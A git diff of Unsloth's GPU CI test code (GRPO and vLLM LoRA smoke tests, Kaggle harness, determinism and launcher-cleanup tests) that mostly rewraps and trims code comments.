8NUM_GENERATIONS = 2MAX_PROMPT_LENGTH = 64MAX_COMPLETION_LENGTH = 16-# >1 so the updated LoRA adapter is re-synced into vLLM on every step, not just-# loaded once; that repeat sync is the path that regressed.+# >1 so the updated LoRA adapter is re-synced into vLLM on every step, not just loaded once; that repeat sync is the+# path that regressed.MAX_STEPS = 3GPU_MEMORY_UTILIZATION = 0.3COMPILATION_CONFIG = 0-# Pins torch's global RNG (via the Trainer's set_seed), which the colocated vLLM-# sampler draws from, so the rollout and every metric below is reproducible.+# Pins torch's global RNG (via the Trainer's set_seed), which the colocated vLLM sampler draws from, so the rollout and+# every metric below is reproducible.SEED = 42-# Loose sanity bounds, not fitted values: they catch divergence and degenerate-# rollouts while staying valid across GPUs, models and vLLM versions.+# Loose sanity bounds, not fitted values: they catch divergence and degenerate rollouts while staying valid across+# GPUs, models and vLLM versions.MAX_CHARS_PER_TOKEN = 20MAX_GRAD_NORM = 1e3MAX_KL = 1.0-# All attention + MLP projections, so both fused vLLM LoRA families (qkv_proj and-# gate_up_proj) are exercised -- the >= 0.25.0 collision hit both.+# All attention + MLP projections, so both fused vLLM LoRA families (qkv_proj and gate_up_proj) are exercised+# the >= 0.25.0 collision hit both.TARGET_MODULES = ["q_proj", "k_proj", "v_proj", "o_proj", "gate_proj", "up_proj", "down_proj"]SYSTEM_PROMPT = "Respond concisely."@@ -85,9 +85,8 @@ def _metric(metrics, *names):@pytest.mark.skipif(not torch.cuda.is_available(), reason = "fast_inference needs a CUDA GPU + vLLM")def test_fast_inference():- # Import here, not at module load: importing unsloth probes for an- # accelerator and errors on CPU-only machines, so deferring keeps pytest- # collection and the skip path import-free. Unsloth must precede TRL.+ # Import here, not at module load: importing unsloth probes for an accelerator and errors on CPU-only machines, so+ # deferring keeps pytest collection and the skip path import-free. Unsloth must precede TRL.from unsloth import FastLanguageModelfrom datasets import Datasetfrom trl import GRPOConfig, GRPOTrainer@@ -148,13 +147,13 @@ def test_fast_inference():assert trainer_stats.global_step == MAX_STEPS, "GRPO ran the wrong number of steps"assert math.isfinite(trainer_stats.training_loss), "training loss is not finite"- # Without these, a rollout that silently produced nothing, or an update that- # diverged to NaN, would still pass the wiring assertions above.+ # Without these, a rollout that silently produced nothing, or an update that diverged to NaN, would still pass the+ # wiring assertions above.steps = [log for log in trainer.state.log_history if "loss" in log]assert len(steps) == MAX_STEPS, f"expected {MAX_STEPS} logged steps, got {len(steps)}"- # Every reward is a completion's character count, so this bounds reward and- # its spread without hard-coding model-specific values.+ # Every reward is a completion's character count, so this bounds reward and its spread without hard-coding+ # model-specific values.max_reward = MAX_COMPLETION_LENGTH * MAX_CHARS_PER_TOKENfor i, step in enumerate(steps, start = 1):@@ -170,8 +169,8 @@ def test_fast_inference():assert math.isfinite(loss), f"step {i}: loss not finite ({loss})"assert grad_norm is not None, f"step {i}: no grad_norm logged"assert math.isfinite(grad_norm), f"step {i}: grad_norm not finite ({grad_norm})"- # Sign check only: a step can legitimately be near zero (0.004 observed),- # so any tighter lower bound would be flaky.+ # Sign check only: a step can legitimately be near zero (0.004 observed), so any tighter lower bound would be+ # flaky.assert 0.0 < grad_norm < MAX_GRAD_NORM, f"step {i}: grad_norm {grad_norm}"assert length is not None, f"step {i}: no completion length logged"assert 0.0 < length <= MAX_COMPLETION_LENGTH, f"step {i}: empty rollout ({length})"diff --git a/tests/kaggle/studio_gpu/gpu_assert.py b/tests/kaggle/studio_gpu/gpu_assert.pyindex da79bd16ce7..aaccb534526 100644--- a/tests/kaggle/studio_gpu/gpu_assert.py+++ b/tests/kaggle/studio_gpu/gpu_assert.py@@ -48,34 +48,27 @@ import jsonimport refrom pathlib import Path-# A llama-server holding less than this on the card is not offloading-# anything worth calling offload -- CUDA context plus scratch alone is tens of-# MiB, and a fully CPU-resident model can still show a context-sized-# allocation if anything touched the device.+# A llama-server holding less than this on the card is not offloading anything worth calling offload -- CUDA context+# plus scratch alone is tens of MiB, and a fully CPU-resident model can still show a context-sized allocation if+# anything touched the device.MIN_PROCESS_VRAM_MIB = 96# Device-wide growth across the load that no CPU-resident model explains.MIN_DEVICE_VRAM_DELTA_MIB = 256-# GGUF's four-byte file magic. Checked before anything tries to load a file-# the export path claims to have written: a truncated or half-moved file is a-# far more likely export bug than a wrong-magic one, and both look like a-# present file to `os.path.exists`.+# GGUF's four-byte file magic.+# Checked before anything tries to load a file the export path claims to have written: a truncated or half-moved file is+# a far more likely export bug than a wrong-magic one, and both look like a present file to `os.path.exists`.GGUF_MAGIC = b"GGUF"-# llama.cpp's own load report, e.g.-# load_tensors: offloaded 29/29 layers to GPU_OFFLOAD_RE = re.compile(r"offloaded\s+(\d+)\s*/\s*(\d+)\s+layers?\s+to\s+GPU")-# e.g. "load_tensors: CUDA0 model buffer size = 1918.35 MiB"_CUDA_BUFFER_RE = re.compile(r"(CUDA\d+|ROCm\d+)\s+model buffer size\s*=\s*([0-9]+(?:\.[0-9]+)?)\s*MiB",re.IGNORECASE,)-# Install kinds from studio/install_llama_prebuilt.py that mean the binaries-# on disk carry CUDA kernels. Anything else -- linux-cpu, linux-vulkan,-# linux-rocm -- is not the build this leg exists to exercise.+# Install kinds from studio/install_llama_prebuilt.py that mean the binaries on disk carry CUDA kernels.CUDA_INSTALL_KINDS = frozenset({"linux-cuda", "linux-arm64-cuda"})# "cuda12", "cuda13", and whatever major comes next, anywhere in a runtime@@ -192,11 +185,10 @@ def is_cuda_install(kind: str | None) -> bool:return bool(_CUDA_RUNTIME_RE.search(lowered)) or lowered in CUDA_INSTALL_KINDS-# Where a llama.cpp install can be, most specific first. STUDIO_HOME is checked-# because a caller may point an install there explicitly; the canonical-# location is what `install_llama_prebuilt.py` uses by default (its-# `Path.home() / ".unsloth" / "llama.cpp"`), and it is where `install.sh-# --local` actually puts one.+# Where a llama.cpp install can be, most specific first.+# STUDIO_HOME is checked because a caller may point an install there explicitly;+# the canonical location is what `install_llama_prebuilt.py` uses by default (its `Path.home() / ".unsloth" /+# "llama.cpp"`), and it is where `install.sh --local` actually puts one.def llama_cpp_marker(studio_home: Path) -> Path | None:"""The UNSLOTH_PREBUILT_INFO.json of the llama.cpp this box will use.@@ -286,8 +278,8 @@ def offload_verdict(if buffer_mib is not None:evidence.append(f"llama.cpp device model buffer: {buffer_mib:.0f} MiB")- # Unsloth's status body carries no pid, so the caller also discovers the- # llama-server processes itself; either source is accepted here.+ # Unsloth's status body carries no pid, so the caller also discovers the llama-server processes itself; either+ # source is accepted here.candidates: list[int] = []for pid in [server_pid, *(server_pids or [])]:if isinstance(pid, int) and pid not in candidates:diff --git a/tests/kaggle/studio_gpu/studio_client.py b/tests/kaggle/studio_gpu/studio_client.pyindex 6320a2ca273..caee476ad33 100644--- a/tests/kaggle/studio_gpu/studio_client.py+++ b/tests/kaggle/studio_gpu/studio_client.py@@ -28,23 +28,20 @@ import urllib.requestfrom pathlib import Pathfrom typing import Any, Callable-# Terminal phases of GET /api/train/status. From-# studio/backend/models/training.py: the field is `phase`, not `status`, and-# `completed` is the only one of the three that means the adapter exists.+# Terminal phases of GET /api/train/status.+# From studio/backend/models/training.py: the field is `phase`, not `status`, and `completed` is the only one of the+# three that means the adapter exists.TRAINING_TERMINAL = frozenset({"completed", "error", "stopped"})TRAINING_OK = "completed"# Terminal values of GET /api/export/status last_op_status.EXPORT_OK = "success"-# What a saved PEFT adapter directory has to contain before this payload will-# call a training run complete. The config alone is not enough: it is written-# from the run's settings and would be there even if no weights were saved.+# What a saved PEFT adapter directory has to contain before this payload will call a training run complete.ADAPTER_CONFIG = "adapter_config.json"ADAPTER_WEIGHTS = ("adapter_model.safetensors", "adapter_model.bin")-# A LoRA adapter for the smallest model this payload will ever train is still-# tens of MiB. A few hundred bytes is a stub.+# A LoRA adapter for the smallest model this payload will ever train is still tens of MiB.MIN_ADAPTER_BYTES = 4096diff --git a/tests/kaggle/t4_smoke/determinism.py b/tests/kaggle/t4_smoke/determinism.pyindex 1cc98e7dce2..c7a4737c994 100644--- a/tests/kaggle/t4_smoke/determinism.py+++ b/tests/kaggle/t4_smoke/determinism.py@@ -28,9 +28,8 @@ import randomfrom typing import Any-# cuBLAS needs a fixed workspace for reproducible GEMM reductions. CUDA reads-# this when the handle is created, on first use after `import torch`; setting it-# later is silently ignored.+# cuBLAS needs a fixed workspace for reproducible GEMM reductions. CUDA reads this when the handle is created, on first+# use after `import torch`; setting it later is silently ignored.CUBLAS_WORKSPACE_CONFIG = ":4096:8"@@ -41,8 +40,8 @@ def enable_full_determinism() -> None:"""os.environ["CUBLAS_WORKSPACE_CONFIG"] = CUBLAS_WORKSPACE_CONFIGos.environ["PYTHONHASHSEED"] = "0"- # A tokenizers worker pool interleaves dataset .map ordering- # nondeterministically on some versions, and this dataset is tiny anyway.+ # A tokenizers worker pool interleaves dataset .map ordering nondeterministically on some versions, and this dataset+ # is tiny anyway.os.environ["TOKENIZERS_PARALLELISM"] = "false"@@ -233,22 +232,20 @@ def compare_metrics()continueva, vb = float(ea[field]), float(eb[field])- # NaN is legitimate and REPRODUCIBLE here: under fp16 the gradient- # scaler logs a NaN grad_norm on every overflowing step and skips- # it, and which step overflows is deterministic. abs(a - b) would- # flag each of those as a difference since NaN != NaN.+ # NaN is legitimate and REPRODUCIBLE here: under fp16 the gradient scaler logs a NaN grad_norm on every+ # overflowing step and skips it, and which step overflows is deterministic. abs(a - b) would flag each of+ # those as a difference since NaN != NaN.na, nb = va != va, vb != vbif na or nb:if na != nb and result["identical"]:result["identical"] = Falseresult["first_diff_step"] = ea.get("step")continue- # Equal is equal: subtracting is unsafe once a value can be- # infinite. An fp16 overflow logs as NaN OR as inf (clip_grad_norm_- # over an inf gradient returns inf), and abs(inf - inf) is NaN,- # != 0.0, so two runs overflowing on the same step read as differing- # with max_abs_diff 0.0. One-sided and oppositely signed infinities- # still fall through to the subtraction and come out as differences.+ # Equal is equal: subtracting is unsafe once a value can be infinite.+ # An fp16 overflow logs as NaN OR as inf (clip_grad_norm_ over an inf gradient returns inf), and abs(inf -+ # inf) is NaN, != 0.0, so two runs overflowing on the same step read as differing with max_abs_diff 0.0.+ # One-sided and oppositely signed infinities still fall through to the subtraction and come out as+ # differences.if va == vb:continuediff = abs(va - vb)diff --git a/tests/kaggle/t4_smoke/run_grpo_t4.py b/tests/kaggle/t4_smoke/run_grpo_t4.pyindex c0b9bef3c28..50c6c798efe 100644--- a/tests/kaggle/t4_smoke/run_grpo_t4.py+++ b/tests/kaggle/t4_smoke/run_grpo_t4.py@@ -90,10 +90,7 @@ DEFAULT_MODEL = "unsloth/Qwen3-4B-Base"SYSTEM_PROMPT = "You are given a question. Answer it as briefly as you can."-# Every completion the reward functions were shown, in order. A module global-# rather than a closure because TRL calls those functions itself and hands back-# only the scores, which would otherwise be the sole record of what was-# produced.+# Every completion the reward functions were shown, in order.SEEN_COMPLETIONS: list[list[str]] = []@@ -192,11 +189,9 @@ def vllm_facts() -> dict:facts["capability"] = str(current_platform.get_device_capability())except Exception as exc: # noqa: BLE001facts["platform_error"] = f"{type(exc).__name__}: {str(exc)[:200]}"- # The backend enum has moved between releases, and its absence is a finding- # rather than a crash. Both names are recorded, not asserted: at the version- # this leg installs, xformers is EXPECTED missing and TRITON_ATTN is where- # the ladder should land, so which world we are in is answerable from the- # report alone.+ # The backend enum has moved between releases, and its absence is a finding rather than a crash.+ # Both names are recorded, not asserted: at the version this leg installs, xformers is EXPECTED missing and+ # TRITON_ATTN is where the ladder should land, so which world we are in is answerable from the report alone.for path in ("vllm.attention.backends.registry","vllm.attention.selector",@@ -267,21 +262,13 @@ def train(args, report: dict | None = None) -> dict:record("load_seconds", round(time.time() - t0, 1))record("engine_built", True)- # `unsloth/Qwen3-4B-Base` is a BASE model and ships no chat template, so- # TRL's `maybe_apply_chat_template` raises on the first training step:- #- # ValueError: Cannot use chat template functions because- # tokenizer.chat_template is not set- #- # Measured on kernel unsloth-t4-ci-27b0dc2e, the first probe to get that far- # (the vLLM engine had built and the trainer was inside `_run_epoch`). The- # notebook solves this with an SFT priming stage that installs a template- # before GRPO; this leg has no priming stage, so it sets a minimal ChatML- # template directly.- #- # The base model is the RIGHT choice and is not what to change: GRPO on an- # instruct model would measure the instruct tuning as much as the run, and- # these format-and-digit rewards are learnable inside three steps.+ # `unsloth/Qwen3-4B-Base` is a BASE model and ships no chat template, so TRL's `maybe_apply_chat_template` raises on+ # the first training step: ValueError: Cannot use chat template functions because tokenizer.chat_template is not set+ # Measured on kernel unsloth-t4-ci-27b0dc2e, the first probe to get that far (the vLLM engine had built and the+ # trainer was inside `_run_epoch`). The notebook solves this with an SFT priming stage that installs a template+ # before GRPO; this leg has no priming stage, so it sets a minimal ChatML template directly.+ # The base model is the RIGHT choice and is not what to change: GRPO on an instruct model would measure the+ # instruct tuning as much as the run, and these format-and-digit rewards are learnable inside three steps.if not getattr(tokenizer, "chat_template", None):tokenizer.chat_template = ("{% for message in messages %}"@@ -352,11 +339,11 @@ def train(args, report: dict | None = None) -> dict:train_dataset = dataset,)- # The adapter before a single step, so whether the optimizer applied- # anything is a subtraction rather than a reading of what TRL chose to log.- # Under fp16 here every step can overflow and be skipped while loss, reward- # and reward_std are still logged, and grad_norm was the only field that- # used to say so. See training_evidence.py.+ # The adapter before a single step, so whether the optimizer applied anything is a subtraction rather than a reading+ # of what TRL chose to log.+ # Under fp16 here every step can overflow and be skipped while loss, reward and reward_std are still logged, and+ # grad_norm was the only field that used to say so.+ # See training_evidence.py.adapter_before = adapter_fingerprint(model)_log(f"adapter before training: {json.dumps(adapter_before)}")@@ -383,7 +370,6 @@ def train(args, report: dict | None = None) -> dict:}for entry in trainer.state.log_history]- # The shape the launcher and summary renderer already understand.result["metrics"] = [{"step": entry.get("step"), "loss": entry.get("loss"), "grad_norm": entry.get("grad_norm")}for entry in trainer.state.log_history@@ -393,16 +379,14 @@ def train(args, report: dict | None = None) -> dict:result["memory_peak"] = memory()_log(f"trained in {result['train_seconds']}s; log {json.dumps(result['log_history'])[:1500]}")- # Generation through the vLLM path after training. `fast_generate` is what- # the notebook uses and is a different code path from the trainer's own- # rollouts, so a failure here is not covered above.- #- # WITH the trained adapter: `fast_generate` is the engine's own generate,- # and the trained LoRA reaches it only through a lora_request built by- # `save_lora` + `load_lora`. Passing None generates from the base weights- # and passes whether or not the adapter can be transferred at all, which is- # the second question this leg answers, so the request is built, recorded,- # and asserted on in `failures_for`.+ # Generation through the vLLM path after training.+ # `fast_generate` is what the notebook uses and is a different code path from the trainer's own rollouts, so a+ # failure here is not covered above.+ # WITH the trained adapter: `fast_generate` is the engine's own generate, and the trained LoRA reaches it only+ # through a lora_request built by `save_lora` + `load_lora`.+ # Passing None generates from the base weights and passes whether or not the adapter can be transferred at all,+ # which is the second question this leg answers, so the request is built, recorded, and asserted on in+ # `failures_for`.lora_state: dict = {"requested": True, "applied": False}lora_request = Nonetry:@@ -489,15 +473,12 @@ def failures_for(result: dict, args) -> list[str]:if len(metrics) != args.max_steps:failures.append(f"expected {args.max_steps} logged steps, got {len(metrics)}")- # Under fp16 here every step can overflow and be skipped while loss, reward- # and reward_std are still logged and base-model generation still returns- # text, so the length check above is satisfied by a run that applied no+ # Under fp16 here every step can overflow and be skipped while loss, reward and reward_std are still logged and+ # base-model generation still returns text, so the length check above is satisfied by a run that applied no# optimizer update at all.- #- # Decided on the adapter itself, with grad_norm as fallback. The earlier- # spelling `if norms and not applied` passes on an EMPTY list: a TRL version- # that stops logging grad_norm removes the only instrument this leg had, and- # it saves no adapter to read back either. See training_evidence.py.+ # The earlier spelling `if norms and not applied` passes on an EMPTY list: a TRL version that stops logging+ # grad_norm removes the only instrument this leg had, and it saves no adapter to read back either.+ # See training_evidence.py.update = update_verdict(metrics, result.get("adapter_update"))if update["verdict"] == "not_applied":failures.append(@@ -513,8 +494,8 @@ def failures_for(result: dict, args) -> list[str]:f"text either way.")elif update["verdict"] != "applied":- # Not `== "unverifiable"`: any verdict this file has not been taught- # about is a failure rather than a silent pass.+ # Not `== "unverifiable"`: any verdict this file has not been taught about is a failure rather than a silent+ # pass.failures.append(f"whether the optimizer applied anything could not be established: "f"{update['detail']}. Every other number this leg reports is produced "@@ -530,6 +511,8 @@ def failures_for(result: dict, args) -> list[str]:)if result.get("fast_generate") is None:+ # Not `== "unverifiable"`: any verdict this file has not been taught about is a failure rather than a silent+ # pass.failures.append("fast_generate (the vLLM inference path the notebook uses after "f"training) failed: {result.get('fast_generate_error')}"@@ -573,11 +556,9 @@ def make_libcuda_linkable() -> dict:import ctypes.utilimport subprocess- # ONLY the directories flashinfer passes with -L. Measured on kernel- # unsloth-t4-ci-d0d480b6: an earlier version also accepted- # /usr/local/cuda/compat, found libcuda.so there, concluded "already- # linkable" and did nothing, and the link failed anyway because compat- # is not on the link command line.+ # ONLY the directories flashinfer passes with -L. Measured on kernel unsloth-t4-ci-d0d480b6: an earlier version+ # also accepted /usr/local/cuda/compat, found libcuda.so there, concluded "already linkable" and did nothing,+ # and the link failed anyway because compat is not on the link command line.link_dirs = ["/usr/local/cuda/lib64", "/usr/local/cuda/lib64/stubs"]for d in link_dirs:if os.path.exists(os.path.join(d, "libcuda.so")):@@ -586,8 +567,7 @@ def make_libcuda_linkable() -> dict:facts["needed"] = Truefacts["searched"] = link_dirs- # Where the real driver lives. ldconfig is authoritative; ctypes is the- # fallback for an image with no ldconfig cache.+ # Where the real driver lives.real = Nonetry:out = subprocess.run(@@ -603,8 +583,8 @@ def make_libcuda_linkable() -> dict:found = ctypes.util.find_library("cuda")real = found if found and os.path.exists(found) else Noneif real is None:- # The compat tree is the usual place on Kaggle: useless as a -L- # target since nothing passes it, fine as a symlink TARGET.+ # The compat tree is the usual place on Kaggle: useless as a -L target since nothing passes it, fine as a+ # symlink TARGET.for candidate in ("/usr/local/cuda/compat/libcuda.so","/usr/local/cuda/compat/libcuda.so.1",@@ -641,27 +621,23 @@ def main() -> int:ap.add_argument("--num-generations", type = int, default = 4)ap.add_argument("--lora-rank", type = int, default = 32)ap.add_argument("--gpu-memory-utilization", type = float, default = 0.9)- # The switch the probe exists to decide. The notebook says False: ~8GB of- # 16-bit weights plus an engine plus a trainer on a 16GB card.+ # The switch the probe exists to decide.+ # The notebook says False: ~8GB of 16-bit weights plus an engine plus a trainer on a 16GB card.ap.add_argument("--load-in-4bit", dest = "load_in_4bit", action = "store_true", default = False)ap.add_argument("--no-load-in-4bit", dest = "load_in_4bit", action = "store_false")ap.add_argument("--probe", action = "store_true", help = "record everything, assert nothing")- # An illegal memory access surfaces at whatever CUDA call synchronises next,- # which on the first T4 GRPO run was `empty_cache()` inside vLLM standby,- # nowhere near the faulting kernel. This makes the traceback name the real- # launch site. It serialises every kernel, so it is diagnostic, never a- # default.+ # An illegal memory access surfaces at whatever CUDA call synchronises next, which on the first T4 GRPO run was+ # `empty_cache()` inside vLLM standby, nowhere near the faulting kernel.ap.add_argument("--cuda-launch-blocking", action = "store_true")args = ap.parse_args()if args.cuda_launch_blocking:- # Must precede any CUDA context creation, so before this process's first- # `import torch` rather than merely before `train()`.+ # Must precede any CUDA context creation, so before this process's first `import torch` rather than merely+ # before `train()`.os.environ["CUDA_LAUNCH_BLOCKING"] = "1"os.environ["TORCH_USE_CUDA_DSA"] = "1"- # Before anything imports vLLM: flashinfer JITs on first use and the link- # step is what fails on this image. See the function's docstring.+ # Before anything imports vLLM: flashinfer JITs on first use and the link step is what fails on this image.libcuda = make_libcuda_linkable()_log(f"libcuda link shim: {libcuda}")@@ -683,8 +659,7 @@ def main() -> int:"lora_rank","gpu_memory_utilization","load_in_4bit",- # Reported because it changes what a timing or a traceback- # means.+ # Reported because it changes what a timing or a traceback means."cuda_launch_blocking",)},@@ -724,8 +699,8 @@ def main() -> int:except BaseException as exc: # noqa: BLE001if isinstance(exc, KeyboardInterrupt):raise- # Head AND tail: the last probe's 6000-char tail was entirely ninja's- # output, dropping the Python frames that named the caller.+ # Head AND tail: the last probe's 6000-char tail was entirely ninja's output, dropping the Python frames that+ # named the caller._tb = traceback.format_exc()report["traceback"] = (_tb if len(_tb) <= 12000 else _tb[:6000] + "\n...[middle elided]...\n" + _tb[-6000:]diff --git a/tests/kaggle/t4_smoke/versions.py b/tests/kaggle/t4_smoke/versions.pyindex 61481366a27..20724fd5109 100644--- a/tests/kaggle/t4_smoke/versions.py+++ b/tests/kaggle/t4_smoke/versions.py@@ -18,8 +18,7 @@ wrapped, since dying while collecting diagnostics reports nothing at all.from __future__ import annotations-# Libraries whose version bumps this CI exists to detect. Order is report-# order: runtime stack first, Unsloth packages last.+# Libraries whose version bumps this CI exists to detect.GOAL_PACKAGES = ("torch","transformers",@@ -31,19 +30,12 @@ GOAL_PACKAGES = ("triton","xformers","datasets",- # The transitive runtime packages the canary and frontier resolutions are- # allowed to move, which are not optional extras here: the frontier leg- # installs transformers and trl WITH their dependencies precisely so pip- # repairs them, and legs.py records the resolution doing it -- "Would- # install datasets-5.0.1 huggingface_hub-1.27.0 transformers-5.15.0- # trl-1.9.2", and before that the two errors that forced the change,- # "tokenizers<=0.23.0,>=0.22.0 is required, but found tokenizers==0.23.1"- # and "safetensors>=0.8.0 is required, but found safetensors==0.7.0".- #- # Left out, a red canary attributable to one of them produced a comparison- # table with nothing in it that differed: the table showed the packages the- # leg names and the failure was in a package it moved. Attribution is the- # only reason to run the canary at all.+ # The transitive runtime packages the canary and frontier resolutions are allowed to move, which are not optional+ # extras here: the frontier leg installs transformers and trl WITH their dependencies precisely so pip repairs them,+ # and legs.py records the resolution doing it+ # "Would install datasets-5.0.1 huggingface_hub-1.27.0 transformers-5.15.0 trl-1.9.2", and before that the two+ # errors that forced the change, "tokenizers<=0.23.0,>=0.22.0 is required, but found tokenizers==0.23.1" and+ # "safetensors>=0.8.0 is required, but found safetensors==0.7.0"."tokenizers","safetensors","huggingface_hub",diff --git a/tests/kaggle/test_launch_cleanup.py b/tests/kaggle/test_launch_cleanup.pyindex d106fa3d176..f05411fb269 100644--- a/tests/kaggle/test_launch_cleanup.py+++ b/tests/kaggle/test_launch_cleanup.py@@ -72,12 +72,10 @@ def _fake_kaggle(bin_dir: Path, record: Path) -> None:# Arm faulthandler against a FILE, not stderr.-#-# PYTHONFAULTHANDLER sends the dump to fd 2, and every launcher here has fd 2 redirected-# onto the stdout pipe. One of these tests deliberately fills that pipe and stops draining-# it, which is exactly the hang worth diagnosing, and a raw write bypasses Python's io-# lock but not pipe backpressure: SIGABRT would kill the child with nothing written and-# the failure message would be as empty as before. A file has no reader to block on.+# PYTHONFAULTHANDLER sends the dump to fd 2, and every launcher here has fd 2 redirected onto the stdout pipe.+# One of these tests deliberately fills that pipe and stops draining it, which is exactly the hang worth diagnosing, and+# a raw write bypasses Python's io lock but not pipe backpressure: SIGABRT would kill the child with nothing written and+# the failure message would be as empty as before._FAULT_PREAMBLE = """\import faulthandler as _faulthandler, os as _os_fault_dump = open(_os.environ["LAUNCH_FAULT_DUMP"], "w", buffering = 1)@@ -111,14 +109,12 @@ def _runner(tmp_path: Path, body: str) -> subprocess.Popen:)-# A guard against a launcher that never dies, not a latency target: four of these-# subprocess tests now run at once on a four-core runner, where the SIGINT case-# was observed to need over 30 seconds purely to be scheduled.+# A guard against a launcher that never dies, not a latency target: four of these subprocess tests now run at once on a+# four-core runner, where the SIGINT case was observed to need over 30 seconds purely to be scheduled._DEATH_BUDGET_SEC = 120-# How long the launcher stalls while a test signals it. Must OUTLAST the budget-# above: a handler that swallows its signal leaves the process asleep and then-# resuming, so a shorter stall lets it wake, run finish(), delete through the+# How long the launcher stalls while a test signals it. Must OUTLAST the budget above: a handler that swallows its+# signal leaves the process asleep and then resuming, so a shorter stall lets it wake, run finish(), delete through the# ordinary path and exit inside the wait, passing every deletion test._STALL_SEC = 900@@ -275,9 +271,8 @@ def _run_main("fetch_evidence",lambda *a, **kw: {"notebooks": [], "log": None, "truncated": False},)- # Installing the real handlers here would leave a SIGTERM disposition and- # an atexit callback on the pytest interpreter for the rest of the session.- # They have their own tests, which drive a subprocess for that reason.+ # Installing the real handlers here would leave a SIGTERM disposition and an atexit callback on the pytest+ # interpreter for the rest of the session. They have their own tests, which drive a subprocess for that reason.monkeypatch.setattr(launch, "_install_release_handlers", lambda release: None)if push_impl is not None:monkeypatch.setattr(launch, "push", push_impl)@@ -290,8 +285,6 @@ def _run_main(return json.loads((outdir / "launch_result.json").read_text(encoding = "utf-8"))-# ---------------------------------------------------------------------------# the registry# --------------------------------------------------------------------------def test_a_pushed_kernel_is_recorded_before_anything_else_can_fail(tmp_path, monkeypatch):monkeypatch.setattr(launch, "INFLIGHT", tmp_path / "inflight.json")@@ -313,7 +306,6 @@ def test_a_live_owner_is_never_swept(tmp_path, monkeypatch):destroy a legitimate run and report its absence as a code failure."""monkeypatch.setattr(launch, "INFLIGHT", tmp_path / "inflight.json")launch._inflight_write([{"slug": "me/live", "pid": os.getpid() + 0, "at": 0}])- # Our own pid counts as alive.assert launch.sweep_orphans() == []assert [e["slug"] for e in launch._inflight_read()] == ["me/live"]@@ -322,7 +314,6 @@ def test_a_dead_owners_kernel_is_reclaimed(tmp_path, monkeypatch):monkeypatch.setattr(launch, "INFLIGHT", tmp_path / "inflight.json")_fake_kaggle(tmp_path / "bin", tmp_path / "kaggle_calls.txt")monkeypatch.setenv("PATH", f"{tmp_path / 'bin'}{os.pathsep}{os.environ['PATH']}")- # A pid that cannot be running: claim one and let it exit.dead = subprocess.Popen([sys.executable, "-c", "pass"])dead.wait()launch._inflight_write([{"slug": "me/orphan", "pid": dead.pid, "at": 0}])@@ -334,6 +325,7 @@ def test_a_dead_owners_kernel_is_reclaimed(tmp_path, monkeypatch):def test_a_failed_delete_keeps_the_entry_for_next_time(tmp_path, monkeypatch):"""Forgetting a kernel we could not delete is how one bills forever."""monkeypatch.setattr(launch, "INFLIGHT", tmp_path / "inflight.json")+ # A pid that cannot be running: claim one and let it exit.dead = subprocess.Popen([sys.executable, "-c", "pass"])dead.wait()launch._inflight_write([{"slug": "me/orphan", "pid": dead.pid, "at": 0}])@@ -562,7 +554,6 @@ def test_a_signalled_launcher_deletes_its_kernels(tmp_path, signame):assert any("me/k-1" in c for c in _deletions(tmp_path)), f"{signame} left the kernel behind; it would bill to its ceiling. Launcher said: {logged}"- # And the registry agrees, so no later sweep chases a kernel that is gone.assert json.loads((tmp_path / "inflight.json").read_text()) == []# On the signal path, not on the way out of an ordinary run: finish() satisfies# the deletion above on its own, so a swallowed signal would pass without this.@@ -710,7 +701,7 @@ def test_the_handler_survives_a_stdout_nobody_is_draining(tmp_path):proc = _runner(tmp_path, _flooding_launcher(tmp_path / "out"))try:_await_ready(proc)- time.sleep(2) # long enough for the pipe to fill and the write to park+ time.sleep(2)proc.send_signal(signal.SIGTERM)_wait_for_death(proc, tmp_path)finally:@@ -860,7 +851,7 @@ def test_the_leaked_kernel_warning_does_not_strand_the_handler(tmp_path):)try:_await_ready(proc)- time.sleep(2) # let the pipe fill and the write park+ time.sleep(2)proc.send_signal(signal.SIGTERM)_wait_for_death(proc, tmp_path)finally:@@ -1013,8 +1004,8 @@ def test_a_release_kaggle_refuses_is_not_marked_released(tmp_path, monkeypatch):assert entry["released_slugs"] == []assert result["unreleased"] == ["me/k-1"]assert [e["slug"] for e in launch._inflight_read()] == ["me/k-1"]- # Retried rather than written off, since a refusal says nothing about the- # kernel; see DELETE_ATTEMPTS.+ # Retried rather than written off, since a refusal says nothing about the kernel;+ # see DELETE_ATTEMPTS.assert len(_deletions(tmp_path)) == launch.DELETE_ATTEMPTSdiff --git a/tests/kaggle/test_studio_gpu_harness.py b/tests/kaggle/test_studio_gpu_harness.pyindex d2671fdae31..f47095a7d15 100644--- a/tests/kaggle/test_studio_gpu_harness.py+++ b/tests/kaggle/test_studio_gpu_harness.py@@ -807,12 +807,10 @@ def test_the_two_kaggle_legs_fit_the_account_side_by_side():which is why this asserts the sum rather than the group names."""yaml = pytest.importorskip("yaml")- # Read the cap out of gate.py's SOURCE rather than importing it. Both- # .github/scripts/kaggle_studio_ci and .github/scripts/kaggle_t4_ci ship a- # module called `report`, so putting either on sys.path here decides which- # one `import report` resolves to for every test that runs afterwards in- # the same process. An earlier draft of this test did exactly that and took- # nine unrelated summary tests down with it.+ # Read the cap out of gate.py's SOURCE rather than importing it. Both .github/scripts/kaggle_studio_ci and+ # .github/scripts/kaggle_t4_ci ship a module called `report`, so putting either on sys.path here decides which one+ # `import report` resolves to for every test that runs afterwards in the same process. An earlier draft of this test+ # did exactly that and took nine unrelated summary tests down with it.gate_src = (REPO_ROOT / ".github" / "scripts" / "kaggle_t4_ci" / "gate.py").read_text(encoding = "utf-8")@@ -831,8 +829,8 @@ def test_the_two_kaggle_legs_fit_the_account_side_by_side():"the two legs share a concurrency group again, so Unsloth waits out the ""whole notebook job for a Kaggle session that is free")- # Neither may be keyed on the ref: one account, so two branches of the SAME- # workflow still must not overlap even though the two workflows may.+ # Neither may be keyed on the ref: one account, so two branches of the SAME workflow still must not overlap even+ # though the two workflows may.for group in (studio_group, notebook_group):assert "github.ref" not in group, group@@ -909,22 +907,18 @@ def test_studio_is_sampled_harder_than_the_notebook_leg():"0.75 GPU-h" in studio and "TOTAL, expected ~0.25 h" in notebook)- # Share of the shared 50h CI allowance, and the stand-down floor that- # enforces the priority: the cheap leg stops first so the expensive one- # gets the tail of the week.+ # Share of the shared 50h CI allowance, and the stand-down floor that enforces the priority: the cheap leg stops+ # first so the expensive one gets the tail of the week.assert "The split is Unsloth 35, this leg 15" in notebookassert "--reserve-hours 20" in notebook and "--reserve-hours 10" in studio- # The Unsloth block states the notebook leg's reserve in PROSE, so the number- # lives in two files and one of them is not executable. Raising the notebook- # reserve without touching that sentence leaves the Unsloth budget 